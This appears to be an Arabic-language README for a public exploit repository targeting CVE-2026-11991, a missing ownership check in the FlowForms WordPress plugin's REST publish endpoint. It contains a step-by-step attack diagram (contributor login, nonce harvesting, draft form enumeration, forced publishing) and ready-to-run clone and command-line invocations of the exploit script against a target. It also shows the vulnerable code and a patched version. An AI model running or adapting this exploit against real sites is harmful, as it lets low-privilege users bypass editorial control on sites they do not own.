POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

المهاجم (مساهم)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) المصادقة كمساهم
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) جمع REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) تعداد النماذج المسودة
        │<─ "Form Not Published" ───────────│      (استجابة غير مصادقة)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) تشغيل النشر على
        │        {id}/publish ─────────────>│      أي معرف نموذج مسودة
        │                                   │      ← لا يوجد فحص ملكية
        │<─ { "success": true } ────────────│
        │                                   │
        │   النموذج أصبح الآن مباشرًا على الموقع │  (5) المسودة تتجاوز
        │   دون موافقة تحريرية               │      سير العمل التحريري

git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

// ضعيف
'permission_callback' => fn() => current_user_can('edit_posts'),

// آمن (مصحح)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # استغلال محسّن بواجهة غنية
├── requirements.txt            # تبعيات Python
└── README.md                   # هذا الملف